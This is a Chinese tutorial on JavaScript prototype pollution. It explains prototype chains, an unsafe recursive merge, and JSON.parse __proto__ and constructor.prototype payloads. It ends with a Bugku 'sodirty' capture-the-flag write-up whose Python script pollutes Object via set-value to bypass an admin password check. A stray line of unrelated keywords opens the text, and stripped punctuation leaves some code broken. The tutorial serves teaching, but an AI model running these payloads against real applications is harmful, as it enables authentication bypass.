安监网站如何做紧急预案备案,四川省住房建设厅网站打不开,王者荣耀网页制作素材,潍坊市建设一体化平台网站背景
2019年初#xff0c;Snyk的安全研究人员披露了流行的JavaScript库Lodash中一个严重漏洞的详细信息#xff0c;该漏洞使黑客能够攻击多个Web应用程序#xff0c;这个安全漏洞就是一个“原型污染漏洞”#xff08;JavaScript Prototype Pollution#xff09;#xff…背景
2019年初Snyk的安全研究人员披露了流行的JavaScript库Lodash中一个严重漏洞的详细信息该漏洞使黑客能够攻击多个Web应用程序这个安全漏洞就是一个“原型污染漏洞”JavaScript Prototype Pollution攻击者可以利用该漏洞利用JavaScript编程语言的规则并以各种方式破坏应用程序。 原型与原型链
Javascript中一切皆是对象, 其中对象之间是存在共同和差异的,比如对象的最终原型是Object的原型null函数对象有prototype属性,但是实例对象没有。 原型的定义: 原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承 (1)所有引用类型函数数组对象都拥有__proto__属性隐式原型 (2)所有函数拥有prototype属性显式原型仅限函数 原型链的定义: 原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。 原型对象: 在JavaScript中,声明一个函数A的同时,浏览器在内存中创建一个对象B,然后A函数默认有一个属性prototype指向了这个对象B,这个B就是函数A的原型对象,简称为函数的原型。这个对象B默认会有个属性constructor指向了这个函数A。 实例对象: 我们可以通过构造函数A创建一个实例对象A,A默认会有一个属性__proto__指向了构造函数A的原型对象B。 关系 function Foo(){};
undefined
let foo new Foo();
undefined
Foo.prototype foo.__proto__
true 总结 1.prototype是一个类的属性所有类对象在实例化的时候将会拥有prototype中的属性和方法 2.一个对象的__proto__属性指向这个对象所在的类的prototype属性 3、原型链机制 回顾一下构造函数、原型和实例的关系 每个构造函数都有一个原型对象原型对象都包含一个指向构造函数的指针而实例都包含一个指向原型对象的内部指针。那么假如我们让原型对象等于另一个类型的实例结果会怎样显然此时的原型对象将包含一个指向另一个原型的指针相应地另一个原型中也包含着一个指向另一个构造函数的指针。假如另一个原型又是另一个类型的实例那么上述关系依然成立。如此层层递进就构成了实例与原型的链条。这就是所谓的原型链的基本概念。——摘自《javascript高级程序设计》 感觉理解起来有点绕,不过引用图片可以很好理解。 这里person实例对象,Person.prototype是原型,原型通过__proto__访问原型对象,实例对象继承的就是原型及其原型对象的属性。 继承的查找过程: 调用对象属性时, 会查找属性如果本身没有则会去__proto__中查找也就是构造函数的显式原型中查找如果构造函数中也没有该属性因为构造函数也是对象也有__proto__那么会去__proto__的显式原型中查找一直到null(很好说明了原型才是继承的基础) 原型链污染机制
javascript是种动态继承。与java两者的继承方式机制可以说完全不一样的,一个java是基于对象来继承, 一个javascript是基于原型来继承
function Father() {this.first_name Donaldthis.last_name Trump
}function Son() {this.first_name Melania
}Son.prototype new Father()let son new Son()
console.log(Name: ${son.first_name} ${son.last_name})
Son类继承了Father类的last_name属性
对于对象son在调用last_name的时候JavaScript引擎会进行的操作如下
在对象son中寻找last_name 如果找不到就到son.__proto__中寻找last_name 还找不到就到son.__proto__.__proto__中寻找last_name 就这样一直往上找一直找到null宣告结束。比如Object.prototype的__proto__就是null 我们修改下代码:
function Father() {this.first_name Donaldthis.last_name Trump
}function Son() {this.first_name Melania
}Son.prototype new Father()let son new Son()
son.__proto__[add_name] hehehe
let son1 new Son();
console.log(son Name: ${son.add_name} )
console.log(son1 Name: ${son1.add_name} )发现一个对象son修改自身的原型的属性的时候会影响到另外一个具有相同原型的对象son1,同理 当我们修改上层的原型的时候,底层的实例会发生动态继承从而产生一些修改。 我们真正修改的其实是原型prototype 原型链污染利用手段
在JavaScript发展历史上很少有真正的私有属性类的所有属性都允许被公开的访问和修改包括proto构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto构造函数和原型属性。然后所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。
foo.__proto__指向的是Foo类的prototype。那么如果我们修改了foo.__proto__中的值就可以修改Foo类。
那么在一个应用中如果攻击者控制并修改了一个对象的原型那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
控制对象的 __proto__ 即可影响该实例的父类那么要如何控制 __proto__ 呢
JS中针对对象的复制分为浅拷贝和深拷贝简单来说
浅拷贝 只是将指向对象的指针复制了过去不论如何拷贝这些拷贝都指向同一个引用一旦被修改所有引用都会变化
深拷贝 则是要将目标对象完完全全的“克隆”一份占据自己的内存空间。
实现深拷贝一种常见的方式是递归遍历需要复制对象的所有属性并且全部赋值给新的空对象实际上创建了一个新的对象。而浅拷贝就是引用。
原型链污染的发生主要有两种场景不安全的对象递归合并和按路径定义属性。
我们先了解下什么情况下容易发生原型链污染
存在可控的对象键值
1.常发生在merge 等对象递归合并操作
2.对象克隆
3.路径查找属性然后修改属性的时候
这里做一个举例
对象merge对象clone
以对象merge为例子我们想象一个简单的merge函数 function merge(target, source) {for (let key in source) {if (key in source key in target) {merge(target[key], source[key])} else {target[key] source[key]}}
} 在合并的过程中存在赋值的操作target[key] source[key]那么这个key如果是__proto__是不是就可以原型链污染呢 let o1 {}
let o2 {a: 1, __proto__: {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)o3 {}
console.log(o3.b)//1 2 //undefined 虽然合并在了一起但是并没一被污染。因为我们用JavaScript创建o2的过程let o2 {a: 1, “__proto__”: {b: 2}}当中__proto__被认为是o2本对象的原型此时又会遍历o2的所有键名拿到的是a和b两个键__proto__并不是一个key自然也不会修改Object的原型(我们自己创建的对象都是以Object为原型创建来的) let o1 {} let o2 JSON.parse({a: 1, __proto__: {b: 2}}) merge(o1, o2) console.log(o1.a, o1.b) o3 {} console.log(o3.b) //1 2 //2 此时利用JSON.parse方法这个方法可以将JSON字符串解析为值或对象。所以在JSON解析的情况下__proto__会被认为是一个真正的“键名”而不代表“原型”所以在遍历o2的时候会存在这个键。
这样的话__proto__才会被当作一个JSON格式的字符串被解析成键值,而不是上面之间被解析成了一个属性值。 再看个demo
上面那个是通过__proto__来实现漏洞还有另一种方式重载构造函数
当我们将constructor和prototype嵌套作为键名的时候 function merge(target, source) { for (let key in source) { if (key in source key in target) { merge(target[key], source[key]) } else { target[key] source[key] } } } let o1 JSON.parse({constructor: {prototype: {hello: 1}}}) merge({},o1) let o2 {} console.log(o2.hello) //1 实例 constructor 的 prototype 和实例的__proto__指向一致。由于 merge 操作的解析是递归的这种方式同样也会污染 Object 例题Bugku-sodirty
打开题目后仅有一个注册按键点击后显示创建成功。 扫描网站扫出一个www.zip文件
发现有网站的源码下载下来看看
var express require(express);
const setFn require(set-value);
var router express.Router();const Admin {password:process.env.password?process.env.password:password
}router.post(/getflag, function (req, res, next) {if (req.body.password undefined || req.body.password req.session.challenger.password){res.send(登录失败);}else{if(req.session.challenger.age 79){res.send(糟老头子坏滴很);}let key req.body.key.toString();let password req.body.password.toString();if(Admin[key] password){res.send(process.env.flag ? process.env.flag : flag{test});}else {res.send(密码错误请使用管理员用户名登录.);}}});
router.get(/reg, function (req, res, next) {req.session.challenger {username: user,password: pass,age: 80}res.send(用户创建成功!);
});router.get(/, function (req, res, next) {res.redirect(index);
});
router.get(/index, function (req, res, next) {res.send(titleBUGKU-登录/titleh1前端被炒了brbrbra href./reg注册/a);
});
router.post(/update, function (req, res, next) {if(req.session.challenger undefined){res.redirect(/reg);}else{if (req.body.attrkey undefined || req.body.attrval undefined) {res.send(传参有误);}else {let key req.body.attrkey.toString();let value req.body.attrval.toString();setFn(req.session.challenger, key, value);res.send(修改成功);}}
});module.exports router;
对应网页有着不同功能有一个登陆的路由/getflag/reg能够默认创建一个字典/update能够修改新的数据/getflag是取得flag的地方。 如果要进行修改需要
首先要有req.session.challenger
用attrkey,attrval以post的形式传参传参的结果以键值对的形式存在。
如果要取得flag需要
post传参
修改password
age参数小于79
admin中存在完好键值对
在满足其他条件的同时使用原型链污染让Object对象有一个属性这样就可以利用那个属性进行登录。
所以我们先在路由/reg注册一个用户 这里创建的用户默认age80,需要修改
然后利用路由“/update”,去修改我们的信息去把年龄修改为小于79岁并且利用原型链把admin的密码和我们注册的用户的密码修改成一样
先修改age: 修改密码和admin一致 然后登陆获取flag: 或者直接用脚本
import requests
import randoms requests.session() # 保持会话def reg(url):url url regr s.get(url)print(r.text)def update(url, data):url url updateprint(url)r s.post(url, datadata)print(r.text)def getflag(url, data):url url getflagr s.post(url, datadata)print(r.text)url http://114.67.175.224:11990/
reg(url) #先取得req.session.changer
data {attrkey: age, attrval: 30}
update(url, data) #post对年龄进行更新
data {attrkey: __proto__.pwd, attrval: 222}
update(url, data) # 原型链污染Object有了这样一个属性
data {password: 222, key: pwd}
getflag(url, data) # 利用污染的进行登录 参考博客
浅析javascript原型链污染攻击 - 先知社区 (aliyun.com) 深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)
JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户
渗透攻击漏洞之——原型链污染-CSDN博客
【精选】Javascript Prototype污染攻击原型链污染Bugku-web-sodirty wp_prototype pollution in json5 via parse method-CSDN博客